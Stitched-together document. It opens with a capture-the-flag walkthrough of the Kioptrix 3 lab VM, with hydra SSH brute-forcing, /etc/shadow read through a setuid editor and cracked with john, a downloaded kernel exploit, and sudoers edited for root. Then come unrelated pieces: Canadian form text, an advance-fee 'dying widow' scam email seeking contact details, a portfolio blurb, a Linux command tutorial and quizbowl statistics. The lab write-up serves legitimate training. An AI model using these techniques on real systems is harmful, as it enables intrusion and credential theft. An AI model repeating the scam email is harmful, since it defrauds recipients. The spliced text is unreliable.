-rw-r--r-- 1 dreg dreg 586 Apr 16 2011 .profile
What about loneferret
?
s -la /home/loneferret
total 64
drwxr-xr-x 3 loneferret loneferret 4096 Apr 17 2011 .
drwxr-xr-x 5 root root 4096 Apr 16 2011 ..
-rw-r--r-- 1 loneferret users 13 Apr 18 2011 .bash_history
-rw-r--r-- 1 loneferret loneferret 220 Apr 11 2011 .bash_logout
-rw-r--r-- 1 loneferret loneferret 2940 Apr 11 2011 .bashrc
-rw------- 1 root root 15 Apr 15 2011 .nano_history
-rw-r--r-- 1 loneferret loneferret 586 Apr 11 2011 .profile
drwx------ 2 loneferret loneferret 4096 Apr 14 2011 .ssh
-rw-r--r-- 1 loneferret loneferret 0 Apr 11 2011 .sudo_as_admin_successful
-rw-r--r-- 1 root root 224 Apr 16 2011 CompanyPolicy.README
-rwxrwxr-x 1 root root 26275 Jan 12 2011 checksec.sh
A Company Policy, chic chic chic!
cat /home/loneferret/CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
cat /home/loneferret/.bash_history
sudo ht
exit
Huoh. A setuid binary huh? Interesting
which ht
/usr/local/bin/ht
ls -lah /usr/local/bin/ht
-rwsr-sr-x 1 root root 2.0M Apr 16 2011 /usr/local/bin/ht
file /usr/local/bin/ht
/usr/local/bin/ht: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), not stripped
Found in the output of strings /usr/local/bin/ht
:
- http://hte.sourceforge.net/
This is HT 2.0.18;
Okay, so that loneferret
user can run sudo ht
, which is an editor for executables, it’s probably using the ncurses library to provide a CLI interface, which won’t run in our broken shell… Is there another way to get access to the loneferret
account though? Maybe that user has a well known password…
SSH bruteforce - Second Shell
Let’s run hydra
with the rockyou.txt
wordlist to bruteforce the password on SSH:
$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 3 ssh://<IP_ADDRESS>
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-23 13:48:31
[DATA] max 3 tasks per 1 server, overall 3 tasks, 14344399 login tries (l:1/p:14344399), ~4781467 tries per task
[DATA] attacking ssh://<IP_ADDRESS>:22/
[STATUS] 39.00 tries/min, 39 tries in 00:01h, 14344360 to do in 6130:05h, 3 active
[STATUS] 26.67 tries/min, 80 tries in 00:03h, 14344319 to do in 8965:12h, 3 active
[STATUS] 26.14 tries/min, 183 tries in 00:07h, 14344216 to do in 9144:46h, 3 active
[STATUS] 25.33 tries/min, 380 tries in 00:15h, 14344019 to do in 9436:52h, 3 active
[22][ssh] host: <IP_ADDRESS> login: loneferret password: starwars
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-23 14:15:48
And it’s a match ! We’ve got ssh credentials: loneferret:starwars
Let’s try them:
kali@kali:/mnt/hgfs/shared/kioptrix_3$ ssh<EMAIL_ADDRESS><EMAIL_ADDRESS>password: [starwars]
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from <IP_ADDRESS>
loneferret@Kioptrix3:~$ ls -la
total 64
drwxr-xr-x 3 loneferret loneferret 4096 2011-04-17 08:59 .
drwxr-xr-x 5 root root 4096 2011-04-16 07:54 ..
-rw-r--r-- 1 loneferret users 13 2011-04-18 11:44 .bash_history
-rw-r--r-- 1 loneferret loneferret 220 2011-04-11 17:00 .bash_logout
-rw-r--r-- 1 loneferret loneferret 2940 2011-04-11 17:00 .bashrc
-rwxrwxr-x 1 root root 26275 2011-01-12 10:45 checksec.sh
-rw-r--r-- 1 root root 224 2011-04-16 08:51 CompanyPolicy.README
-rw------- 1 root root 15 2011-04-15 21:21 .nano_history
-rw-r--r-- 1 loneferret loneferret 586 2011-04-11 17:00 .profile
drwx------ 2 loneferret loneferret 4096 2011-04-14 11:05 .ssh
-rw-r--r-- 1 loneferret loneferret 0 2011-04-11 18:00 .sudo_as_admin_successful
loneferret@Kioptrix3:~$
Way better shell !
The ht Editor
Okay let’s try running that ht
editor:
loneferret@Kioptrix3:~$ sudo ht --help
Error opening terminal: xterm-256color.
Oopsie, shell is too fancy:
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht --help
That explains why even the --help
wouldn’t run from a less functional shell…
After a bit of mucking around, I discover than alt
is the key to prefix all shortcuts.
I had high hopes for the evaluate
command in the Edit
menu. Buuuut, there is even better!
First create a dummy file before running sudo ht
loneferret@Kioptrix3:~$ touch shadow
Then, in the edit
menu, call:
copy from file
fetch /etc/shadowpaste into file
shadow
in loneferret’s home
And voilà, you’ve got a copy of /etc/shadow
that you can read:
loneferret@Kioptrix3:~$ cat shadow
root:$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1:15082:0:99999:7:::
daemon:*:15075:0:99999:7:::
bin:*:15075:0:99999:7:::
sys:*:15075:0:99999:7:::
sync:*:15075:0:99999:7:::
games:*:15075:0:99999:7:::
man:*:15075:0:99999:7:::
lp:*:15075:0:99999:7:::
mail:*:15075:0:99999:7:::
news:*:15075:0:99999:7:::
uucp:*:15075:0:99999:7:::
proxy:*:15075:0:99999:7:::
www-data:*:15075:0:99999:7:::
backup:*:15075:0:99999:7:::
list:*:15075:0:99999:7:::
irc:*:15075:0:99999:7:::
gnats:*:15075:0:99999:7:::
nobody:*:15075:0:99999:7:::
libuuid:!:15075:0:99999:7:::
dhcp:*:15075:0:99999:7:::
syslog:*:15075:0:99999:7:::
klog:*:15075:0:99999:7:::
mysql:!:15075:0:99999:7:::
sshd:*:15075:0:99999:7:::
loneferret:$1$qbkHf53U$r.kK/JgDLDcXGRC6xUfB11:15079:0:99999:7:::
dreg:$1$qAc2saWZ$Y567sEs.ql3GMttI6pvoe0:15080:0:99999:7:::
Let’s try to break the root password, copy /etc/shadow and /etc/passwd in the same directory on the kali box:
kali@kali:~$ unshadow -h
Created directory: /home/kali/.john
Usage: unshadow PASSWORD-FILE SHADOW-FILE
kali@kali:~$ unshadow passwd shadow > passwords
Okay, let’s run jooohn:
kali@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt passwords
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
starwars (loneferret)
Mast3r (dreg)
kali@kali:~$ john --show passwords
loneferret:starwars:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:Mast3r:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
2 password hashes cracked, 1 left
So we looted another user credentials: dreg:Mast3r
! But we still haven’t found root’s password.
Let’s try the kernel exploit again maybe:
loneferret@Kioptrix3:~$ cd /tmp
loneferret@Kioptrix3:/tmp$ wget --no-check-certificate https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/american-sign-language/american-sign-language.c
loneferret@Kioptrix3:/tmp$ gcc american-sign-language.c -o american-sign-language
american-sign-language.c: In function ‘main’:
american-sign-language.c:220: warning: integer constant is too large for ‘long’ type
american-sign-language.c:253:2: warning: no newline at end of file
loneferret@Kioptrix3:/tmp$ chmod +x american-sign-language
loneferret@Kioptrix3:/tmp$ ./american-sign-language
[+] resolving required symbols...
[-] prepare_kernel_cred symbol not found, aborting!
Still nope.
Privesc
What about sudo?
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ su
Password:
su: Authentication failure
loneferret@Kioptrix3:~$ sudo -i
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/bash' as root on Kioptrix3.
Okay, let’s fix that! Run ht in text mode and edit the sudoers file like so:
loneferret@Kioptrix3:~$ sudo ht -t /etc/sudoers
loneferret@Kioptrix3:~$ sudo -i
root@Kioptrix3:~# id
uid=0(root) gid=0(root) groups=0(root)
we got it /o/
root@Kioptrix3:~# ls
Congrats.txt ht-2.0.18
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
http://www.kioptrix.com
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
http://www.lotuscms.org
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/
The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
Takeaways:
- If your exploit doesn’t work, triple check that RHOST is correct.
- Don’t run text editors as setuid root binaries :)))


Provide one of the required documents to support the child's immigration status in Canada.
Provide one of the required documents to support the child's name change.
Enter the child's legal name as it appears on their official Canadian identity documents, e.g., birth certificate, permanent resident card, passport.


Dear Madam/Sir, I greet you in the Name of GOD. I am MRS REBECCA ATKINS from South Africa. I am married to Late MR SMITH ATKINS of blessed memory who was an oil explorer in Kuwait and Brunei for fifteen years before he died in the year 2000. We were married for twelve years without a child. He died after a brief illness that lasted for only four days. Before his death we were both devoted to our God and respect other who serve him. Since his death, I too have been battling with both Cancer and fibroid problems. When my late Husband was alive he Deposited the sum of $18.5million (Eighteen Million, Five Hundred thousand U.S Dollars) with a Deposit Company in Europe.the money is deposited as Family Valuables/Treasure for security reasons. Recently, my doctor told me that I have only six months to live due to my cancer problem, and this lead to a stroke attack which bother me most though because I cannot move as I use to. Having known my condition I decided to entrust this fund to either a philanthropic organization or devoted individual that will utilize this money the way I am going to instructs herein.30% of the US$18.5million goes to you to ensure that you are prepared for the task ahead, 60% of this money will be used in all sincerity to fund philanthropic organization, orphanages, widows and 5% will go to the family Attorney who will prepare the Authorisation and the balance 5% sent to me to at least prepare for my funeral and off-set my medical bills. I am taking this decision because I don't have any child or devoted relations whose behavior has left much to be desired while I am ill and above all I don't want a situation where this money will be used in an UnGodly manner,hence this bold decision. Since my health is Retrogressing by the minute, you will have to send your POSTAL ADDRESS, CONTACT PHONE NUMBER AND FAX and a little details about yourself, because I got your address from the internet after a thorough search. As soon as I receive this information from you I will make arrangement to prepare the Authorization through the family Attorney for you to get Possession of the Deposit. As soon as I receive your reply to my confidential email address<EMAIL_ADDRESS>and the authorization is given to you by me, I will give you the name and contact of the Deposit company where the money was Deposited in Europe, for claims to the consignment.  May the Almighty God continue to guide and protect you. Remain Blessed, MRS REBECCA ATKINS. NOTE; All replies should be forwarded to my confidential email address<EMAIL_ADDRESS>----------------------------------------- Internet gratis en: http://www.free.com.pe Americatel Internet Free Tu conexión Free más rápida


Welcome to my professional portfolio page.
I am a writer, designer and web developer currently navigating the wide world of full-stack website development.
On this page you can find a number of projects I have developed or worked in my educational and professional careers.
The skills I most pride myself on are clean and vibrant front-end design, simple user interface, mobile functionality, search engine optimization and a consistent tone of voice in all content written for the web.
I attended the University of Kansas between 2008 and 2012, where I graduated with a B.A. in English, emphasizing in creative writing.
I returned to KU from 2018 - 2019 to complete the Full-Stack Web Development Coding Bootcamp, where I honed my skills as a web designer.
If you are interested in contacting me regarding your website (either in management or design), please don't hesitate to contact me or visit one of my social links listed below.
Contact / Follow Me
Email:
Phone:<PHONE_NUMBER>
GitHub:
LinkedIn:
Instagram:


To open the terminal, press Ctrl+Alt+T in Ubuntu, or press Alt+F2, type in gnome-terminal, and press enter. In Raspberry Pi, type in lxterminal. There is also a GUI way of taking it, but this is better!
Basic Commands
1. pwd — When you first open the terminal, you are in the home directory of your user. To know which directory you are in, you can use the “pwd” command. It gives us the absolute path, which means the path that starts from the root. The root is the base of the Linux file system. It is denoted by a forward slash( / ). The user directory is usually something like "/home/username".
2. ls — Use the "ls" command to know what files are in the directory you are in. You can see all the hidden files by using the command “ls -a”.
3. cd — Use the "cd" command to go to a directory. For example, if you are in the home folder, and you want to go to the downloads folder, then you can type in “cd Downloads”. Remember, this command is case sensitive, and you have to type in the name of the folder exactly as it is. But there is a problem with these commands. Imagine you have a folder named “Raspberry Pi”. In this case, when you type in “cd Raspberry Pi”, the shell will take the second argument of the command as a different one, so you will get an error saying that the directory does not exist. Here, you can use a backward slash. That is, you can use “cd Raspberry\ Pi” in this case. Spaces are denoted like this: If you just type “cd” and press enter, it takes you to the home directory. To go back from a folder to the folder before that, you can type “cd ..” . The two dots represent back.
4. mkdir & rmdir — Use the mkdir command when you need to create a folder or a directory. For example, if you want to make a directory called “DIY”, then you can type “mkdir DIY”. Remember, as told before, if you want to create a directory named “DIY Hacking”, then you can type “mkdir DIY\ Hacking”. Use rmdir to delete a directory. But rmdir can only be used to delete an empty directory. To delete a directory containing files, use rm.
5. rm - Use the rm command to delete files and directories. Use "rm -r" to
delete just the directory. It deletes both the folder and the files it contains when using only the
rm command.
6. touch — The touch command is used to create a file. It can be anything, from an empty txt file to an empty zip file. For example, “touch new.txt”.
7. man & --help — To know more about a command and how to use it, use the man command. It shows the manual pages of the command. For example, “man cd” shows the manual pages of the cd command. Typing in the command name and the argument helps it show which ways the command can be used (e.g., cd –help).
8. cp — Use the cp command to copy files through the command line. It takes two arguments: The first is the location of the file to be copied, the second is where to copy.
9. mv — Use the mv command to move files through the command line. We can also use the mv command to rename a file. For example, if we want to rename the file “text” to “new”, we can use “mv text new”. It takes the two arguments, just like the cp command.
10. locate — The locate command is used to locate a file in a Linux system, just like the search command in Windows. This command is useful when you don't know where a file is saved or the actual name of the file. Using the -i argument with the command helps to ignore the case (it doesn't matter if it is uppercase or lowercase). So, if you want a file that has the word “hello”, it gives the list of all the files in your Linux system containing the word "hello" when you type in “locate -i hello”. If you remember two words, you can separate them using an asterisk (*). For example, to locate a file containing the words "hello" and "this", you can use the command “locate -i *hello*this”.
Intermediate Commands
1. echo — The "echo" command helps us move some data, usually text into a file. For example, if you want to create a new text file or add to an already made text file, you just need to type in, “echo hello, my name is alok >> new.txt”. You do not need to separate the spaces by using the backward slash here, because we put in two triangular brackets when we finish what we need to write.
2. cat — Use the cat command to display the contents of a file. It is usually used to easily view programs.
3. nano, vi, jed — nano and vi are already installed text editors in the Linux command line. The nano command is a good text editor that denotes keywords with color and can recognize most languages. And vi is simpler than nano. You can create a new file or modify a file using this editor. For example, if you need to make a new file named "check.txt", you can create it by using the command “nano check.txt”. You can save your files after editing by using the sequence Ctrl+X, then Y (or N for no). In my experience, using nano for HTML editing doesn't seem as good, because of its color, so I recommend jed text editor. We will come to installing packages soon.
4. sudo — A widely used command in the Linux command line, sudo stands for "SuperUser Do". So, if you want any command to be done with administrative or root privileges, you can use the sudo command. For example, if you want to edit a file like viz. alsa-base.conf, which needs root permissions, you can use the command – sudo nano alsa-base.conf. You can enter the root command line using the command “sudo bash”, then type in your user password. You can also use the command “su” to do this, but you need to set a root password before that. For that, you can use the command “sudo passwd”(not misspelled, it is passwd). Then type in the new root password.
5. df — Use the df command to see the available disk space in each of the partitions in your system. You can just type in df in the command line and you can see each mounted partition and their used/available space in % and in KBs. If you want it shown in megabytes, you can use the command “df -m”.
6. du — Use du to know the disk usage of a file in your system. If you want to know the disk usage for a particular folder or file in Linux, you can type in the command df and the name of the folder or file. For example, if you want to know the disk space used by the documents folder in Linux, you can use the command “du Documents”. You can also use the command “ls -lah” to view the file sizes of all the files in a folder.
7. tar — Use tar to work with tarballs (or files compressed in a tarball archive) in the Linux command line. It has a long list of uses. It can be used to compress and uncompress different types of tar archives like .tar, .tar.gz, .tar.bz2,etc. It works on the basis of the arguments given to it. For example, "tar -cvf" for creating a .tar archive, -xvf to untar a tar archive, -tvf to list the contents of the archive, etc. Since it is a wide topic, here are some examples of tar commands.
8. zip, unzip — Use zip to compress files into a zip archive, and unzip to extract files from a zip archive.
9. uname — Use uname to show the information about the system your Linux distro is running. Using the command “uname -a” prints most of the information about the system. This prints the kernel release date, version, processor type, etc.
10. apt-get — Use apt to work with packages in the Linux command line. Use apt-get to install packages. This requires root privileges, so use the sudo command with it. For example, if you want to install the text editor jed (as I mentioned earlier), we can type in the command “sudo apt-get install jed”. Similarly, any packages can be installed like this. It is good to update your repository each time you try to install a new package. You can do that by typing “sudo apt-get update”. You can upgrade the system by typing “sudo apt-get upgrade”. We can also upgrade the distro by typing “sudo apt-get dist-upgrade”. The command “apt-cache search” is used to search for a package. If you want to search for one, you can type in “apt-cache search jed”(this doesn't require root).
11. chmod — Use chmod to make a file executable and to change the permissions granted to it in Linux. Imagine you have a python code named numbers.py in your computer. You'll need to run “python numbers.py” every time you need to run it. Instead of that, when you make it executable, you'll just need to run “numbers.py” in the terminal to run the file. To make a file executable, you can use the command “chmod +x numbers.py” in this case. You can use “chmod 755 numbers.py” to give it root permissions or “sudo chmod +x numbers.py” for root executable. Here is some more information about the chmod command.
12. hostname — Use hostname to know your name in your host or network. Basically, it displays your hostname and IP address. Just typing “hostname” gives the output.
13. ping — Use ping to check your connection to a server. Wikipedia says, "Ping is a computer network administration software utility used to test the reachability of a host on an Internet Protocol (IP) network". Simply, when you type in, for example, “ping google.com”, it checks if it can connect to the server and come back. It measures this round-trip time and gives you the details about it. The use of this command for simple users like us is to check your internet connection. If it pings the Google server (in this case), you can confirm that your internet connection is active!


| Year | Team | Status | Finish | W-L | PPG | PAPG | Margin | TU/G | N/G | BHrd | BPts | PPB |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2009 | Penn A | 20 | 3-11 | 74.3 | 196.1 | -121.8 | 4.50 | 1.29 | 63 | 500 | 7.94 | |
| 2010 | Penn A | 6 | 13-5 | 286.1 | 151.4 | 134.7 | 11.22 | 1.78 | 202 | 3290 | 16.29 | |
| 2012 | Penn A | 4 | 12-4 | 286.2 | 163.4 | 122.8 | 11.25 | 2.38 | 180 | 2970 | 16.50 | |
| 2013 | Penn A | 4 | 14-3 | 321.8 | 171.2 | 150.6 | 11.47 | 2.00 | 195 | 3690 | 18.92 | |
| 2014 | Penn A | 3 | 16-3 | 376.3 | 128.2 | 248.1 | 12.95 | 1.58 | 246 | 4840 | 19.67 | |
| 2015 | Penn A | 1 | 20-1 | 371.9 | 124.3 | 247.6 | 12.90 | 2.00 | 271 | 5310 | 19.59 | |
| 2016 | Penn A | D2 | 36 | 3-13 | 113.4 | 215.9 | -102.5 | 6.00 | 1.56 | 96 | 980 | 10.21 |
| 2017 | Penn A | 7 | 8-7 | 237.7 | 234.0 | 3.7 | 9.47 | 2.33 | 142 | 2320 | 16.34 | |
| 2018 | Penn A | 2 | 16-3 | 300.3 | 175.8 | 124.5 | 11.00 | 2.47 | 209 | 3850 | 18.42 | |
| 2019 | Penn A | 7 | 9-7 | 234.2 | 205.8 | 28.4 | 9.61 | 2.06 | 149 | 2300 | 15.44 |
ACF Nationals 2009
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2009 | 1 (Prelims) | Penn A | MIT A | Loss | 50 - 235 | 4 | 2 | 5.00 | Brown |
| 2009 | 3 (Prelims) | Penn A | Minnesota A | Loss | 40 - 365 | 3 | 0 | 3.33 | Chicago B + Harvard |
| 2009 | 4 (Prelims) | Penn A | UCSD A | Loss | 105 - 180 | 5 | 1 | 12.00 | VCU |
| 2009 | 5 (Prelims) | Penn A | Truman State | Win | 165 - 55 | 7 | 1 | 14.29 | Illinois + Maryland |
| 2009 | 6 (Prelims) | Penn A | Rutgers | Win | 125 - 55 | 8 | 1 | 6.25 | Minnesota A |
| 2009 | 7 (Prelims) | Penn A | Brandeis | Win | 125 - 115 | 7 | 1 | 8.57 | MIT |
| 2009 | 8 (Prelims) | Penn A | Chicago B | Loss | 40 - 245 | 3 | 0 | 3.33 | Missouri State + UCSD |
| 2009 | 9 (Prelims) | Penn A | Maryland A | Loss | 55 - 245 | 3 | 3 | 13.33 | UCLA + South Carolina |
| 2009 | 10 (Prelims) | Penn A | Brown A | Loss | 45 - 335 | 3 | 3 | 10.00 | Truman State + Dartmouth |
| 2009 | 11 (Prelims) | Penn A | South Carolina | Loss | 65 - 200 | 4 | 1 | 7.50 | Stanford |
| 2009 | 12 (Prelims) | Penn A | Stanford A | Loss | 45 - 350 | 3 | 1 | 6.67 | Rutgers |
| 2009 | 14 (Playoffs) | Penn A | Carnegie Mellon | Loss | 10 - 165 | 1 | 0 | 0.00 | No Packet Recorded |
| 2009 | 15 (Playoffs) | Penn A | Rutgers | Loss | 110 - 115 | 7 | 2 | 7.14 | No Packet Recorded |
| 2009 | 16 (Playoffs) | Penn A | Missouri State | Loss | 60 - 85 | 5 | 2 | 4.00 | No Packet Recorded |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2009 | Penn A | Mehdi Razvi | 14 | 45 | 13 | 385 | 27.50 |
| 2009 | Penn A | Sid Chandrasekhar | 11 | 15 | 3 | 135 | 12.27 |
| 2009 | Penn A | Joe | 14 | 3 | 2 | 20 | 1.43 |
ACF Nationals 2010
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2010 | 1 (Prelims) | Penn A | Illinois B | Win | 435 - 20 | 16 | 1 | 17.50 | Chicago A |
| 2010 | 2 (Prelims) | Penn A | George Mason | Win | 360 - 25 | 15 | 2 | 14.67 | South Carolina + CMU |
| 2010 | 3 (Prelims) | Penn A | Harvard A | Win | 290 - 160 | 11 | 2 | 17.27 | Minnesota A + Chicago B |
| 2010 | 4 (Prelims) | Penn A | Chicago B | Win | 360 - 60 | 15 | 4 | 15.33 | Carleton + UCLA |
| 2010 | 5 (Prelims) | Penn A | Minnesota A | Loss | 225 - 310 | 8 | 1 | 18.75 | Maryland A + Illinois B |
| 2010 | 6 (Prelims) | Penn A | VCU A | Win | 265 - 140 | 11 | 3 | 15.45 | Stanford |
| 2010 | 8 (Prelims) | Penn A | Carleton | Win | 340 - 75 | 12 | 4 | 20.00 | Michigan + Minnesota B |
| 2010 | 9 (Prelims) | Penn A | Carnegie Mellon | Win | 275 - 105 | 11 | 1 | 15.45 | Editors |
| 2010 | 10 (Prelims) | Penn A | Michigan A | Win | 300 - 65 | 13 | 0 | 13.08 | Harvard |
| 2010 | 11 (Prelims) | Penn A | Stanford A | Loss | 200 - 345 | 7 | 0 | 18.57 | VCU |
| 2010 | 13 (Prelims) | Penn A | Brown B | Win | 315 - 90 | 11 | 3 | 20.00 | Editors |
| 2010 | 14 (Prelims) | Penn A | Maryland B | Win | 390 - 0 | 16 | 2 | 15.00 | Brown A |
| 2010 | 15 (Prelims) | Penn A | Yale A | Win | 260 - 225 | 9 | 2 | 20.00 | UCSD |
| 2010 | 16 (Playoffs) | Penn A | Brown A | Loss | 165 - 255 | 8 | 3 | 12.50 | No Packet Recorded |
| 2010 | 17 (Playoffs) | Penn A | Illinois A | Win | 255 - 125 | 10 | 1 | 16.00 | No Packet Recorded |
| 2010 | 18 (Playoffs) | Penn A | Chicago A | Loss | 285 - 290 | 10 | 1 | 19.00 | No Packet Recorded |
| 2010 | 19 (Playoffs) | Penn A | UCSD A | Loss | 245 - 255 | 10 | 1 | 15.00 | No Packet Recorded |
| 2010 | 20 (Playoffs) | Penn A | Maryland A | Win | 185 - 180 | 9 | 1 | 11.11 | No Packet Recorded |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2010 | Penn A | Eric Mukherjee | 18 | 129 | 19 | 1195 | 66.39 |
| 2010 | Penn A | Chris White | 18 | 45 | 4 | 430 | 23.89 |
| 2010 | Penn A | Mehdi Razvi | 13 | 11 | 3 | 95 | 7.31 |
| 2010 | Penn A | Sam Brown | 18 | 14 | 5 | 115 | 6.39 |
| 2010 | Penn A | Sid Chandrasekhar | 9 | 3 | 1 | 25 | 2.78 |
ACF Nationals 2012
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2012 | 1 (Prelims) | Penn A | George Mason | Win | 390 - 10 | 14 | 2 | 18.57 | No Packet Recorded |
| 2012 | 3 (Prelims) | Penn A | Carleton | Win | 365 - 130 | 13 | 5 | 20.00 | No Packet Recorded |
| 2012 | 4 (Prelims) | Penn A | WUSTL | Win | 315 - 60 | 13 | 3 | 15.38 | No Packet Recorded |
| 2012 | 5 (Prelims) | Penn A | Maryland A | Win | 330 - 195 | 12 | 2 | 18.33 | No Packet Recorded |
| 2012 | 6 (Prelims) | Penn A | Columbia A | Win | 305 - 130 | 12 | 3 | 16.67 | No Packet Recorded |
| 2012 | 7 (Prelims) | Penn A | Chicago D | Win | 355 - 45 | 14 | 3 | 16.43 | No Packet Recorded |
| 2012 | 9 (Playoffs) | Penn A | Chicago B | Win | 220 - 215 | 10 | 4 | 14.00 | No Packet Recorded |
| 2012 | 10 (Playoffs) | Penn A | Illinois A | Win | 415 - 125 | 15 | 1 | 18.00 | No Packet Recorded |
| 2012 | 11 (Playoffs) | Penn A | Ohio State | Win | 290 - 135 | 13 | 0 | 12.31 | No Packet Recorded |
| 2012 | 12 (Playoffs) | Penn A | Harvard A | Win | 350 - 130 | 12 | 0 | 19.17 | No Packet Recorded |
| 2012 | 13 (Playoffs) | Penn A | Minnesota A | Loss | 180 - 215 | 10 | 4 | 10.00 | No Packet Recorded |
| 2012 | 14 (Playoffs) | Penn A | Chicago A | Win | 255 - 180 | 10 | 1 | 16.00 | No Packet Recorded |
| 2012 | 15 (Playoffs) | Penn A | Yale A | Loss | 290 - 330 | 10 | 2 | 20.00 | No Packet Recorded |
| 2012 | 16 (Playoffs) | Penn A | Virginia A | Loss | 145 - 245 | 7 | 5 | 14.29 | No Packet Recorded |
| 2012 | 17 (Playoffs) | Penn A | Michigan A | Win | 240 - 155 | 9 | 2 | 17.78 | No Packet Recorded |
| 2012 | 18 (Finals, Placement) | Penn A | Michigan A | Loss | 135 - 315 | 6 | 1 | 13.33 | No Packet Recorded |
| Year | Team | Player | Games | Tossups | Negs | Pts | PPG |
|---|---|---|---|---|---|---|---|
| 2012 | Penn A | Eric Mukherjee | 16 | 123 | 22 | 1120 | 70.00 |
| 2012 | Penn A | Saajid Moyen | 16 | 30 | 4 | 280 | 17.50 |
| 2012 | Penn A | Patrick Liao | 16 | 16 | 4 | 140 | 8.75 |
| 2012 | Penn A | James Lasker | 16 | 11 | 8 | 70 | 4.38 |
ACF Nationals 2013
| Year | Round | Team | Opponent | Result | Score | 10 | -5 | PPB | Packet |
|---|---|---|---|---|---|---|---|---|---|
| 2013 | 1 (Prelims) | Penn A | Maryland A | Loss | 225 - 265 | 8 | 1 | 18.75 | VCU + Michigan |
| 2013 | 2 (Prelims) | Penn A | Rutgers | Win | 415 - 55 | 15 | 1 | 18.00 | Illinois A + Carleton |
| 2013 | 3 (Prelims) | Penn A | Illinois B | Win | 440 - 45 | 15 | 2 | 20.00 | Mich St + Ottawa + SCAR |
| 2013 | 4 (Prelims) | Penn A | Northwestern | Win | 385 - 35 | 15 | 3 | 16.67 | Rutgers + Columbia |
| 2013 | 5 (Prelims) | Penn A | Rice | Win | 330 - 125 | 13 | 4 | 16.92 | MIT + GMU + Minnesota |
| 2013 | 6 (Prelims) | Penn A | Chicago B | Win | 360 - 185 | 14 | 2 | 16.43 | London + WUSTL |
| 2013 | 7 (Prelims) | Penn A | London | Win | 310 - 210 | 10 | 2 | 22.00 | Chicago A + Maryland + Penn B |
| 2013 | 8 (Prelims) | Penn A | MIT A | Win | 440 - 55 | 14 | 2 | 22.14 | Berkeley + Rice |
| 2013 | 10 (Playoffs) | Penn A | Harvard A | Win | 345 - 130 | 13 | 3 | 17.69 | Yale + Virginia + Ohio St |
| 2013 | 11 (Playoffs) | Penn A | Chicago A | Win | 330 - 150 | 12 | 0 | 17.50 | Alb + Dart + GT + NYU + NU |
| 2013 | 12 (Playoffs) | Penn A | Illinois A | Win | 300 - 225 | 10 | 0 | 20.00 | Cheyne + Gupta + Carson |
| 2013 | 13 (Playoffs) | Penn A | Virginia A | Loss | 150 - 450 | 5 | 2 | 22.00 | Editors 1 |
| 2013 | 14 (Playoffs) | Penn A | Yale A | Loss | 295 - 310 | 9 | 1 | 23.33 | Editors 2 |
| 2013 | 15 (Playoffs) | Penn A | Minnesota A | Win | 325 - 70 | 12 | 1 | 17.50 | Editors 3 |
| 2013 | 16 (Playoffs) | Penn A | Alberta | Win | 300 - 170 | 11 | 2 | 18.18 | Editors 4 |
| 2013 | 17 (Playoffs) | Penn A | Georgia Tech | Win | 290 - 225 | 10 | 4 | 21.00 | Editors 5 |
| 2013 | 18 (Playoffs) | Penn A | Michigan A | Win | 230 - 205 | 9 | 4 | 17.78 | Editors 6 |
